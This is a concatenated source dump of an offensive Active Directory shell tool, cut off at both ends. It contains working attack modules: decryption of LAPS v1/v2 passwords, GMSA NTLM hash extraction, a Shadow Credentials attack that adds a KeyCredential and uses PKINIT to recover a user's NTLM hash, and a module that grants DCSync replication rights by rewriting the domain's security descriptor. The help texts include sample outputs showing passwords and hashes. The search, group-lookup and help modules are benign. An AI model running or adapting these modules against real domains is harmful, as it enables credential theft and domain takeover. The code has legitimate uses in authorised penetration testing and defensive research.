GMSA passwords for machine account wks1$ 31 | `get_laps_gmsa wks1$` 32 | ``` 33 | [INFO] [LAPS v2] wks1$: 2ph97sJVNl8PB1 34 | ``` 35 | """ 36 | module_type = "Get Info" 37 | 38 | class ModuleArgs(BaseModel): 39 | target: Optional[str] = Field( 40 | None, 41 | description="Computer account name (SAMAccountName)", 42 | arg_type=ArgumentType.COMPUTER 43 | ) 44 | 45 | def __init__(self, args_dict: dict, 46 | domain_dumper: domainDumper, 47 | client: Connection, 48 | log=None): 49 | self.args = self.ModuleArgs(**args_dict) 50 | self.domain_dumper = domain_dumper 51 | self.client = client 52 | self.log = log or logging.getLogger('ldap-shell.shell') 53 | 54 | def __decrypt_laps_v2(self, encrypted_data): 55 | """Decrypt LAPS v2 password using Impacket implementation""" 56 | try: 57 | # Extract domain components 58 | domain, _, user = self.client.user.partition('\\') 59 | 60 | encrypted_blob = EncryptedPasswordBlob(encrypted_data) 61 | parsed_cms, remaining = decoder.decode(encrypted_blob['Blob'], asn1Spec=rfc5652.ContentInfo()) 62 | enveloped_data = parsed_cms['content'] 63 | 64 | # Extract key identifier 65 | parsed_enveloped, _ = decoder.decode(enveloped_data, asn1Spec=rfc5652.EnvelopedData()) 66 | kek_info = parsed_enveloped['recipientInfos'][0]['kekri'] 67 | kek_identifier = kek_info['kekid'] 68 | key_params = KeyIdentifier(bytes(kek_identifier['keyIdentifier'])) 69 | tmp,_ = decoder.decode(kek_identifier['other']['keyAttr']) 70 | sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8") 71 | 72 | # Create Security Descriptor 73 | target_sd = create_sd(sid) 74 | 75 | # Setup RPC connection 76 | string_binding = epm.hept_map(self.client.server.host, gkdi.MSRPC_UUID_GKDI, protocol = 'ncacn_ip_tcp') 77 | rpc_transport = transport.DCERPCTransportFactory(string_binding) 78 | # Check password format for hash 79 | if ':' in self.client.password and re.match(r'[a-f0-9]{32}', self.client.password.lower().split(':')[1]): 80 | password_parts = self.client.password.split(':') 81 | if len(password_parts) == 2: 82 | # If hash detected, use it for authentication 83 | rpc_transport.set_credentials( 84 | user, 85 | '', # Empty password 86 | domain, 87 | lmhash='aad3b435b51404eeaad3b435b51404ee', 88 | nthash=password_parts[1] 89 | ) 90 | else: 91 | # If not hash, use regular password authentication 92 | rpc_transport.set_credentials( 93 | user, 94 | self.client.password, 95 | domain 96 | ) 97 | 98 | dce = rpc_transport.get_dce_rpc() 99 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 100 | dce.connect() 101 | dce.bind(gkdi.MSRPC_UUID_GKDI) 102 | 103 | # Get group key with correct parameters 104 | resp = gkdi.GkdiGetKey( 105 | dce, 106 | target_sd=target_sd, 107 | l0=key_params['L0Index'], 108 | l1=key_params['L1Index'], 109 | l2=key_params['L2Index'], 110 | root_key_id=key_params['RootKeyId'] 111 | ) 112 | 113 | gke = gkdi.GroupKeyEnvelope(b''.join(resp['pbbOut'])) 114 | kek = compute_kek(gke, key_params) 115 | 116 | # Remove caching and related logic 117 | enc_content_parameter = bytes(parsed_enveloped['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters']) 118 | iv, _ = decoder.decode(enc_content_parameter) 119 | iv = bytes(iv[0]) 120 | 121 | cek = unwrap_cek(kek, bytes(kek_info['encryptedKey'])) 122 | return decrypt_plaintext(cek, iv, remaining) 123 | 124 | except Exception as e: 125 | self.log.error(f"Error decrypting LAPS v2: {str(e)}") 126 | return None 127 | 128 | def __check_laps_attributes(self): 129 | """Check available LAPS attributes in domain""" 130 | self.laps_attributes = [] 131 | schema = self.client.server.schema 132 | 133 | # Check for attributes in schema 134 | if 'ms-mcs-admpwd' in schema.attribute_types: 135 | self.laps_attributes.append('ms-Mcs-AdmPwd') # Case sensitive for LDAP 136 | 137 | if 'mslaps-encryptedpassword' in schema.attribute_types: 138 | self.laps_attributes.append('msLAPS-EncryptedPassword') 139 | 140 | return bool(self.laps_attributes) 141 | 142 | def __call__(self): 143 | # Determine available LAPS attributes 144 | if not self.__check_laps_attributes(): 145 | self.log.error("LAPS is not configured in domain") 146 | return 147 | 148 | # Form search filter 149 | search_filter = '(objectClass=computer)' 150 | if self.args.target: 151 | search_filter = f'(&(objectClass=computer)(sAMAccountName={self.args.target}))' 152 | else: 153 | # Dynamically create filter based on available attributes 154 | attr_filters = [] 155 | if 'ms-Mcs-AdmPwd' in self.laps_attributes: 156 | attr_filters.append('(ms-Mcs-AdmPwd=*)') 157 | if 'msLAPS-EncryptedPassword' in self.laps_attributes: 158 | attr_filters.append('(msLAPS-EncryptedPassword=*)') 159 | 160 | if not attr_filters: 161 | self.log.error("No available LAPS attributes for search") 162 | return 163 | 164 | search_filter = f'(&(objectClass=computer)(|{"".join(attr_filters)}))' 165 | 166 | # Execute search 167 | self.client.search( 168 | self.domain_dumper.root, 169 | search_filter, 170 | attributes=['sAMAccountName'] + self.laps_attributes 171 | ) 172 | 173 | for entry in self.client.entries: 174 | hostname = entry['sAMAccountName'].value 175 | password = None 176 | 177 | # Process LAPS v1 178 | if 'ms-Mcs-AdmPwd' in entry: 179 | laps_v1 = entry['ms-Mcs-AdmPwd'].value 180 | if laps_v1: 181 | self.log.info(f'[LAPS v1] {hostname}: {laps_v1}') 182 | continue 183 | 184 | # Process LAPS v2 185 | if 'msLAPS-EncryptedPassword' in entry: 186 | laps_v2 = entry['msLAPS-EncryptedPassword'].value 187 | if laps_v2: 188 | decrypted = self.__decrypt_laps_v2(laps_v2) 189 | if decrypted: 190 | password = json.loads(decrypted[:-18].decode('utf-16le'))['p'] 191 | self.log.info(f'[LAPS v2] {hostname}: {password}') 192 | 193 | # Process GMSA 194 | self.client.search( 195 | self.domain_dumper.root, 196 | '(objectClass=msDS-GroupManagedServiceAccount)', 197 | attributes=['sAMAccountName', 'msDS-ManagedPassword', 'msDS-GroupMSAMembership'] 198 | ) 199 | 200 | if not self.client.entries: 201 | self.log.info('No GMSA accounts found') 202 | return 203 | 204 | for entry in self.client.entries: 205 | if 'msDS-ManagedPassword' in entry: 206 | blob = MSDS_MANAGEDPASSWORD_BLOB(entry['msDS-ManagedPassword'].raw_values[0]) 207 | ntlm_hash = MD4.new() 208 | ntlm_hash.update(blob['CurrentPassword'][:-2]) 209 | passwd = binascii.hexlify(ntlm_hash.digest()).decode() 210 | self.log.info(f'[GMSA] {entry["sAMAccountName"].value}:::aad3b435b51404eeaad3b435b51404ee:{passwd}') 211 | 212 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/get_maq/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | from ldap3.protocol.microsoft import security_descriptor_control 8 | from ldap3.utils.conv import escape_filter_chars 9 | from ldap_shell.utils.ldap_utils import LdapUtils 10 | 11 | class LdapShellModule(BaseLdapModule): 12 | """Retrieves Machine Account Quota and related information""" 13 | 14 | help_text = "Get Machine Account Quota and allowed users" 15 | examples_text = """ 16 | The ms-DS-MachineAccountQuota attribute is stored on the domain object and not on users. 17 | To find out how many machine accounts a user can create, you need to subtract the number 18 | of machine accounts created by the user from the total number of machine accounts allowed. 19 | When a user creates a machine account, the SID of the user who created the machine account is written to the ms-DS-CreatorSID attribute. 20 | 21 | Get global Machine Account Quota 22 | `get_maq` 23 | ``` 24 | [INFO] Global domain policy ms-DS-MachineAccountQuota=10 25 | ``` 26 | Get Machine Account Quota for specific user 27 | `get_maq john.doe` 28 | ``` 29 | [INFO] User john.doe have MachineAccountQuota=9 30 | ``` 31 | """ 32 | module_type = "Get Info" # Get Info, Abuse ACL, Misc and Other. 33 | 34 | class ModuleArgs(BaseModel): 35 | user: Optional[str] = Field( 36 | None, 37 | description="Check if specific user can create machine accounts", 38 | arg_type=ArgumentType.USER 39 | ) 40 | 41 | def __init__(self, args_dict: dict, 42 | domain_dumper: domainDumper, 43 | client: Connection, 44 | log=None): 45 | self.args = self.ModuleArgs(**args_dict) 46 | self.domain_dumper = domain_dumper 47 | self.client = client 48 | self.log = log or logging.getLogger('ldap-shell.shell') 49 | 50 | def __call__(self): 51 | self.client.search(self.domain_dumper.root, '(objectClass=*)', attributes=['ms-DS-MachineAccountQuota'], 52 | controls=security_descriptor_control(sdflags=0x04)) 53 | maq = self.client.entries[0].entry_attributes_as_dict['ms-DS-MachineAccountQuota'][0] 54 | if maq < 1: 55 | self.log.error(f"Global domain policy ms-DS-MachineAccountQuota={maq}") 56 | return 57 | if self.args.user: 58 | user_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.user) 59 | self.client.search(self.domain_dumper.root, f'(&(objectClass=computer)(mS-DS-CreatorSID={user_sid}))', attributes=['ms-ds-creatorsid']) 60 | user_machins = len(self.client.entries) 61 | self.log.info(f'User {self.args.user} have MachineAccountQuota={maq - user_machins}') 62 | else: 63 | self.log.info(f'Global domain policy ms-DS-MachineAccountQuota={maq}') 64 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/get_ntlm/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import random 3 | import OpenSSL 4 | from ldap3 import Connection, MODIFY_REPLACE 5 | from ldapdomaindump import domainDumper 6 | from pydantic import BaseModel, Field 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | from ldap_shell.utils.ldap_utils import LdapUtils 9 | from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 10 | from dsinternals.common.data.DNWithBinary import DNWithBinary 11 | from dsinternals.common.data.hello.KeyCredential import KeyCredential 12 | from dsinternals.system.DateTime import DateTime 13 | from dsinternals.system.Guid import Guid 14 | from minikerberos.common.ccache import CCACHE 15 | from minikerberos.common.target import KerberosTarget 16 | from minikerberos.network.clientsocket import KerberosClientSocket 17 | from ldap_shell.utils.myPKINIT import myPKINIT 18 | 19 | class LdapShellModule(BaseLdapModule): 20 | """Module for getting NTLM hash using Shadow Credentials attack""" 21 | 22 | help_text = "Get NTLM hash using Shadow Credentials attack (requires write access to msDS-KeyCredentialLink)" 23 | examples_text = """ 24 | Get NTLM hash for user john: 25 | `get_ntlm john` 26 | ``` 27 | [INFO] Target user found: john 28 | [INFO] KeyCredential generated with DeviceID: 26d8713b-4a44-4792-82b7-2e30f5e33ab5 29 | [INFO] Successfully added new key 30 | [INFO] Got TGT using certificate 31 | [INFO] NTLM hash for john: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe 32 | [INFO] Cleaning up DeviceID... 33 | [INFO] Cleanup successful 34 | ``` 35 | """ 36 | module_type = "Abuse ACL" 37 | 38 | class ModuleArgs(BaseModel): 39 | target: str = Field( 40 | description="Target user (sAMAccountName)", 41 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER] 42 | ) 43 | 44 | def __init__(self, args_dict: dict, 45 | domain_dumper: domainDumper, 46 | client: Connection, 47 | log=None): 48 | self.args = self.ModuleArgs(**args_dict) 49 | self.domain_dumper = domain_dumper 50 | self.client = client 51 | self.log = log or logging.getLogger('ldap-shell.shell') 52 | 53 | def __call__(self): 54 | # TLS check 55 | if not self.client.tls_started and not self.client.server.ssl: 56 | self.log.info('Sending StartTLS command...') 57 | if not self.client.start_tls(): 58 | self.log.error("StartTLS failed") 59 | return self.log.error('Error: LDAPS required. Try -use-ldaps flag') 60 | else: 61 | self.log.info('StartTLS succeeded!') 62 | 63 | # Find target user 64 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target) 65 | if not target_dn: 66 | self.log.error(f'Target user not found: {self.args.target}') 67 | return 68 | 69 | self.log.info(f"Target user found: {self.args.target}") 70 | 71 | # Generate certificate and KeyCredential 72 | try: 73 | certificate = X509Certificate2( 74 | subject=self.args.target, 75 | keySize=2048, 76 | notBefore=(-40 * 365), 77 | notAfter=(40 * 365) 78 | ) 79 | 80 | device_id = Guid() 81 | key_credential = KeyCredential.fromX509Certificate2( 82 | certificate=certificate, 83 | deviceId=device_id, 84 | owner=self.domain_dumper.root, 85 | currentTime=DateTime() 86 | ) 87 | 88 | self.log.info(f"KeyCredential generated with DeviceID: {key_credential.DeviceId.toFormatD()}") 89 | 90 | # Get current values and add new key 91 | results = self.client.search( 92 | target_dn, 93 | '(objectClass=*)', 94 | attributes=['msDS-KeyCredentialLink'] 95 | ) 96 | if not results: 97 | self.log.error('Could not query target user properties') 98 | return 99 | 100 | current_values = self.client.response[0]['raw_attributes'].get('msDS-KeyCredentialLink', []) 101 | new_values = current_values + [key_credential.toDNWithBinary().toString()] 102 | 103 | self.client.modify( 104 | target_dn, 105 | {'msDS-KeyCredentialLink': [(MODIFY_REPLACE, new_values)]} 106 | ) 107 | 108 | if self.client.result['result'] != 0: 109 | self.log.error(f"Failed to add key: {self.client.result['message']}") 110 | return 111 | 112 | self.log.info("Successfully added new key") 113 | 114 | try: 115 | # PKINIT authentication 116 | pfx_pass = ''.join(chr(random.randint(1,255)) for _ in range(20)).encode() 117 | pk = OpenSSL.crypto.PKCS12() 118 | pk.set_privatekey(certificate.key) 119 | pk.set_certificate(certificate.certificate) 120 | pfxdata = pk.export(passphrase=pfx_pass) 121 | 122 | dhparams = { 123 | 'p': int('00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff', 16), 124 | 'g': 2 125 | } 126 | 127 | domain = self.client.user.split('\\')[0] 128 | ini = myPKINIT.from_pfx_data(pfxdata, pfx_pass, dhparams) 129 | req = ini.build_asreq(domain, self.args.target) 130 | sock = KerberosClientSocket(KerberosTarget(self.client.server.host)) 131 | 132 | res = sock.sendrecv(req) 133 | if hasattr(res, 'native') and res.native.get('error-code') == 15: 134 | self.log.error("PKINIT authentication is not supported by the domain controller.") 135 | self.log.error("This attack requires PKINIT support to be enabled on the domain.") 136 | raise Exception("PKINIT not supported") 137 | 138 | self.log.info("Got TGT using certificate") 139 | encasrep, session_key, cipher = ini.decrypt_asrep(res.native) 140 | ccache = CCACHE() 141 | ccache.add_tgt(res.native, encasrep) 142 | ccache_data = ccache.to_bytes() 143 | 144 | dumper = myPKINIT.GETPAC( 145 | self.args.target, 146 | domain, 147 | self.client.server.host, 148 | session_key 149 | ) 150 | dumper.dump(domain, self.client.server.host, ccache_data) 151 | 152 | except Exception as e: 153 | self.log.error(f"Error during PKINIT authentication: {str(e)}") 154 | self.log.error("This could be because PKINIT is not supported or disabled in the domain") 155 | 156 | finally: 157 | # Cleanup in any case 158 | self.log.info("Cleaning up DeviceID...") 159 | new_values = [] 160 | for dn_binary_value in current_values: 161 | key_cred = KeyCredential.fromDNWithBinary( 162 | DNWithBinary.fromRawDNWithBinary(dn_binary_value) 163 | ) 164 | if device_id.toFormatD() != key_cred.DeviceId.toFormatD(): 165 | new_values.append(dn_binary_value) 166 | 167 | self.client.modify( 168 | target_dn, 169 | {'msDS-KeyCredentialLink': [(MODIFY_REPLACE, new_values)]} 170 | ) 171 | 172 | if self.client.result['result'] == 0: 173 | self.log.info("Cleanup successful") 174 | else: 175 | self.log.error(f"Cleanup failed: {self.client.result['message']}") 176 | 177 | except Exception as e: 178 | self.log.error(f'Error: {str(e)}') 179 | return 180 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/get_user_groups/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | from ldap3.utils.conv import escape_filter_chars 8 | 9 | class LdapShellModule(BaseLdapModule): 10 | """Module for retrieves all groups recursively this user is a member of""" 11 | 12 | help_text = "Retrieves all groups recursively this user is a member of" 13 | examples_text = """ 14 | Get groups for user 'testuser' 15 | `get_user_groups testuser` 16 | ``` 17 | [INFO] Group: Domain Users 18 | ``` 19 | Get groups for group "Remote Management Users" 20 | `get_user_groups "Remote Management Users"` 21 | ``` 22 | [INFO] Found 5 groups 23 | [INFO] Group: Administrators 24 | [INFO] Group: Schema Admins 25 | [INFO] Group: Domain Admins 26 | [INFO] Group: Denied RODC Password Replication Group 27 | [INFO] Group: group1 28 | ``` 29 | Get groups for computer 'srv01' 30 | `get_user_groups srv01$` 31 | ``` 32 | [INFO] Group: Domain Computers 33 | ``` 34 | """ 35 | module_type = "Get Info" 36 | class ModuleArgs(BaseModel): 37 | user: Optional[str] = Field( 38 | ..., # This argument is required 39 | description="Target AD user", 40 | arg_type=[ArgumentType.USER, ArgumentType.GROUP, ArgumentType.COMPUTER] # Changed to list of types 41 | ) 42 | 43 | def __init__(self, args_dict: dict, 44 | domain_dumper: domainDumper, 45 | client: Connection, 46 | log=None): 47 | self.args = self.ModuleArgs(**args_dict) 48 | self.domain_dumper = domain_dumper 49 | self.client = client 50 | self.log = log or logging.getLogger('ldap-shell.shell') 51 | self.LDAP_MATCHING_RULE_IN_CHAIN = '1.2.840.113556.1.4.1941' 52 | 53 | def __call__(self): 54 | self.client.search(self.domain_dumper.root, f'(sAMAccountName={escape_filter_chars(self.args.user)})', 55 | attributes=['distinguishedName']) 56 | 57 | if len(self.client.entries) != 1: 58 | self.log.error(f'User not found in LDAP: {self.args.user}') 59 | return 60 | 61 | user_dn = self.client.entries[0].entry_dn 62 | 63 | self.client.search(self.domain_dumper.root, 64 | f'(member:{self.LDAP_MATCHING_RULE_IN_CHAIN}:={escape_filter_chars(user_dn)})', 65 | attributes=['distinguishedName', 'sAMAccountName', 'name']) 66 | 67 | if self.client.result['result'] == 0: 68 | if len(self.client.entries) == 0: 69 | if self.args.user.endswith('$'): 70 | self.log.info('Group: Domain Computers') 71 | else: 72 | self.log.info('Group: Domain Users') 73 | else: 74 | self.log.info(f'Found {len(self.client.entries)} groups {self.args.user}') 75 | for entry in self.client.entries: 76 | self.log.info(f'Group: {entry.sAMAccountName}') 77 | else: 78 | self.log.error('Error searching for user groups') 79 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/help/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.utils.module_loader import ModuleLoader 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | import importlib 9 | from colorama import init, Fore, Back, Style 10 | import textwrap 11 | from ldap_shell.utils.module_loader import ModuleLoader 12 | # Initialize colorama for cross-platform support 13 | init() 14 | 15 | class LdapShellModule(BaseLdapModule): 16 | """Module for show help""" 17 | 18 | help_text = "Show help" 19 | examples_text = """ 20 | Show help for a specific command 21 | `help get_user_groups` 22 | Show help for all commands 23 | `help` 24 | """ 25 | module_type = "Other" 26 | 27 | class ModuleArgs(BaseModel): 28 | command: Optional[str] = Field( 29 | None, # This argument is required 30 | description="Command to execute", 31 | arg_type=[ArgumentType.COMMAND] # Changed to list of types 32 | ) 33 | 34 | def __init__(self, args_dict: dict, 35 | domain_dumper: domainDumper, 36 | client: Connection, 37 | log=None): 38 | self.args = self.ModuleArgs(**args_dict) 39 | self.domain_dumper = domain_dumper 40 | self.client = client 41 | self.log = log or logging.getLogger('ldap-shell.shell') 42 | 43 | def print_markdown(self, text: str) -> str: 44 | lines = text.split('\n') 45 | result = [] 46 | in_code_block = False 47 | 48 | for line in lines: 49 | # Headers 50 | if line.strip().startswith('# '): 51 | result.append(f"{Fore.CYAN}{line.strip().strip('# ')}{Style.RESET_ALL}") 52 | elif line.strip().startswith('## '): 53 | result.append(f"{Fore.BLUE}{line.strip().strip('## ')}{Style.RESET_ALL}") 54 | elif line.strip().startswith('### '): 55 | result.append(f"{Fore.GREEN}{line.strip().strip('### ')}{Style.RESET_ALL}") 56 | # Code blocks 57 | elif line.strip().startswith('```'): 58 | in_code_block = not in_code_block 59 | continue 60 | elif in_code_block: 61 | result.append(f"{Back.BLACK}{Fore.WHITE}{line}{Style.RESET_ALL}") 62 | # Inline code 63 | else: 64 | while '`' in line: 65 | start = line.find('`') 66 | end = line.find('`', start + 1) 67 | if end == -1: 68 | break 69 | code = line[start+1:end] 70 | line = line[:start] + f"{Fore.YELLOW}{code}{Style.RESET_ALL}" + line[end+1:] 71 | result.append(line) 72 | 73 | print('\n'.join(result)) 74 | 75 | def __call__(self): 76 | list_modules = ModuleLoader.list_modules() 77 | modules = ModuleLoader.load_modules() 78 | helper_modules = {} 79 | for module in modules: 80 | module_name = module 81 | helper_modules[module_name] = {} 82 | if hasattr(modules[module], 'help_text'): 83 | helper_modules[module_name]['help'] = modules[module].help_text 84 | if hasattr(modules[module], 'module_type'): 85 | helper_modules[module_name]['type'] = modules[module].module_type 86 | helper_modules[module_name]['args'] = modules[module].get_args_required() 87 | 88 | # Group modules by chapters 89 | chapters = {} 90 | for module_name in helper_modules: 91 | if helper_modules[module_name].get('type'): 92 | chapter = helper_modules[module_name]['type'] 93 | else: 94 | chapter = 'Other' 95 | if chapter not in chapters: 96 | chapters[chapter] = [] 97 | help_text = helper_modules[module_name]['help'] 98 | args = helper_modules[module_name]['args'] 99 | chapters[chapter].append(f" {module_name} {(' '.join(args))} - {help_text}") 100 | 101 | if self.args.command: 102 | if self.args.command in list_modules: 103 | module = ModuleLoader.load_module(self.args.command) 104 | module_class = module 105 | 106 | # Gather module information 107 | header = module_class.__doc__ or "No description available" 108 | help_text = module_class.help_text 109 | examples = module_class.examples_text 110 | args_schema = module_class.ModuleArgs.model_json_schema() 111 | # Format text 112 | help_md = f""" 113 | `{self.args.command} {' '.join(helper_modules[self.args.command]['args'])}` 114 | 115 | # Command: {self.args.command} 116 | {header} 117 | 118 | # Description 119 | {help_text} 120 | 121 | # Arguments 122 | """ 123 | # Add argument information 124 | for arg in module_class.get_arguments(): 125 | name = arg.name 126 | required = arg.required 127 | arg_types = '|'.join([arg_type.name for arg_type in arg.arg_type]) if isinstance(arg.arg_type, list) else arg.arg_type.name 128 | description = arg.description 129 | help_md += f""" ### {name} 130 | - Description: {description} 131 | - Type: `{arg_types}` 132 | - Required: {required} 133 | """ 134 | help_md += f"\n# Examples" 135 | # Add usage examples 136 | if examples: 137 | help_md += f"\n{textwrap.dedent(examples.lstrip('\n'))}" 138 | # Output 139 | self.print_markdown(help_md) 140 | 141 | else: 142 | self.log.error(f"Command {self.args.command} not found") 143 | return 144 | 145 | else: 146 | # Output in required format 147 | for chapter, commands in chapters.items(): 148 | print(f"\n{chapter}") 149 | for command in sorted(commands): 150 | print(command) 151 | print('exit - exit from shell') 152 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/search/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional, List 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ModuleArgument, ArgumentType, AttributesList 7 | from datetime import datetime, timedelta 8 | import re 9 | 10 | class LdapShellModule(BaseLdapModule): 11 | """Module for searching AD objects""" 12 | 13 | help_text = "Search AD objects" 14 | examples_text = """ 15 | ## Search user with all attributes: 16 | `search "(sAMAccountName=john.doe)"` 17 | ``` 18 | objectClass : top 19 | person 20 | organizationalPerson 21 | user 22 | pwdLastSet : 2024-07-22 18:09:40+0000 23 | ... 24 | objectSid : S-1-5-21-170099002-3324421148-3202989712-2994 25 | whenCreated : 2024-07-22 18:09:40+0000 26 | distinguishedName : CN=john.doe,CN=Users,DC=roasting,DC=lab 27 | sAMAccountName : john.doe 28 | ... 29 | sn : john.doe 30 | ``` 31 | ## Search user with specific attributes: 32 | `search "(sAMAccountName=john.doe)" sAMAccountName,objectSid,name` 33 | ``` 34 | objectSid : S-1-5-21-170099002-3324421148-3202989712-2994 35 | name : john.doe 36 | sAMAccountName: john.doe 37 | ``` 38 | """ 39 | module_type = "Get Info" 40 | 41 | class ModuleArgs(BaseModel): 42 | ldap_filter: str = Field( 43 | ..., # This argument is required 44 | description="LDAP filter", 45 | arg_type=ArgumentType.STRING 46 | ) 47 | attributes: Optional[AttributesList] = Field( 48 | None, # This argument is not required 49 | description="Attributes to retrieve (single or comma-separated)", 50 | arg_type=ArgumentType.ATTRIBUTES 51 | ) 52 | 53 | def __init__(self, args_dict: dict, 54 | domain_dumper: domainDumper, 55 | client: Connection, 56 | log=None): 57 | self.args = self.ModuleArgs(**args_dict) 58 | self.domain_dumper = domain_dumper 59 | self.client = client 60 | self.log = log or logging.getLogger('ldap-shell.shell') 61 | 62 | def convert_windows_timestamp(self, timestamp): 63 | """Convert Windows timestamp to human readable format""" 64 | try: 65 | # Convert string to number 66 | timestamp = int(timestamp) 67 | if timestamp < 116444736000000000: 68 | return timestamp 69 | windows_epoch = datetime(1601, 1, 1) 70 | delta = timedelta(microseconds=timestamp // 10) # divide by 10 to convert to microseconds 71 | return (windows_epoch + delta).strftime('%Y-%m-%d %H:%M:%S') 72 | except (ValueError, TypeError): 73 | return timestamp 74 | 75 | def format_value(self, value): 76 | """Format single value with proper formatting""" 77 | if isinstance(value, datetime): 78 | return value.strftime('%Y-%m-%d %H:%M:%S%z') 79 | elif isinstance(value, bytes): 80 | try: 81 | return value.decode('utf-8') 82 | except UnicodeDecodeError: 83 | return value.hex() 84 | elif isinstance(value, list): 85 | return [self.format_value(v) for v in value] 86 | return str(value) 87 | 88 | def format_entry(self, entry): 89 | """Format LDAP entry with proper output formatting""" 90 | formatted_entry = {} 91 | 92 | for key, values in entry.entry_attributes_as_dict.items(): 93 | # Convert each value 94 | formatted_values = [] 95 | for value in values: 96 | formatted_value = self.format_value(value) 97 | formatted_values.append(formatted_value) 98 | 99 | # If value is single - no need for list 100 | if len(formatted_values) == 1: 101 | formatted_entry[key] = formatted_values[0] 102 | else: 103 | formatted_entry[key] = formatted_values 104 | 105 | return formatted_entry 106 | 107 | def __call__(self): 108 | self.log.info('Starting search operation...') 109 | 110 | attributes = self.args.attributes 111 | search_query = self.args.ldap_filter 112 | 113 | self.log.debug('search_query={}'.format(search_query)) 114 | self.log.debug('attributes={}'.format(attributes)) 115 | 116 | if not attributes: 117 | attributes = ['*'] 118 | try: 119 | self.client.search(self.domain_dumper.root, search_query, attributes=attributes) 120 | except Exception as e: 121 | self.log.error(f"Error searching: {e}") 122 | return 123 | 124 | if len(self.client.entries) == 0: 125 | self.log.info('No results found') 126 | return 127 | 128 | for entry in self.client.entries: 129 | # Format each entry before displaying 130 | formatted_entry = self.format_entry(entry) 131 | 132 | # Print in the desired format 133 | print("\n") # Empty line between entries 134 | max_key_length = max(len(key) for key in formatted_entry.keys()) 135 | 136 | for key, value in formatted_entry.items(): 137 | if isinstance(value, list): 138 | # Check if list is empty 139 | if not value: 140 | print(f"{key.ljust(max_key_length)}: ") 141 | else: 142 | # Multi-line output for lists 143 | print(f"{key.ljust(max_key_length)}: {value[0]}") 144 | for v in value[1:]: 145 | print(f"{' ' * max_key_length} {v}") 146 | else: 147 | # Single line output for single values 148 | print(f"{key.ljust(max_key_length)}: {value}") 149 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/set_dcsync/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection, MODIFY_REPLACE 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | from ldap3.protocol.microsoft import security_descriptor_control 9 | from ldap3.utils.conv import escape_filter_chars 10 | from ldap_shell.utils.ldap_utils import LdapUtils 11 | from ldap_shell.utils.ace_utils import AceUtils 12 | import ldap_shell.utils.ldaptypes as ldaptypes 13 | 14 | class LdapShellModule(BaseLdapModule): 15 | """Module for set DS-Replication-Get-Changes-All privilege to the target AD user or computer""" 16 | 17 | help_text = "If you have write access to the domain object, assign the DS-Replication right to the selected user" 18 | examples_text = """ 19 | Set DS-Replication-Get-Changes-All privilege to the target AD user 20 | `set_dcsync john.doe` 21 | ``` 22 | [INFO] DACL modified successfully! john.doe now has DS-Replication privilege and can perform DCSync attack! 23 | ``` 24 | """ 25 | module_type = "Abuse ACL" # Get Info, Abuse ACL, Misc and Other. 26 | 27 | class ModuleArgs(BaseModel): 28 | target: Optional[str] = Field( 29 | description="Target DN of user or computer", 30 | arg_type=[ArgumentType.DN] 31 | ) 32 | 33 | def __init__(self, args_dict: dict, 34 | domain_dumper: domainDumper, 35 | client: Connection, 36 | log=None): 37 | self.args = self.ModuleArgs(**args_dict) 38 | self.domain_dumper = domain_dumper 39 | self.client = client 40 | self.log = log or logging.getLogger('ldap-shell.shell') 41 | 42 | def __call__(self): 43 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target): 44 | self.log.error('Invalid DN: %s', self.args.target) 45 | return 46 | 47 | ldap_attribute = 'nTSecurityDescriptor' 48 | target_dn = self.domain_dumper.root 49 | user_dn = self.args.target 50 | sd_data, domain_root_sid = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, target_dn) 51 | _, user_sid = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, user_dn) 52 | 53 | if sd_data is None: 54 | raise Exception(f'Error expected only one search result, got {len(self.client.entries)} results') 55 | 56 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 57 | 58 | if len(sd_data) < 1: 59 | raise Exception(f'Check if target have write access to the domain object') 60 | else: 61 | sd = 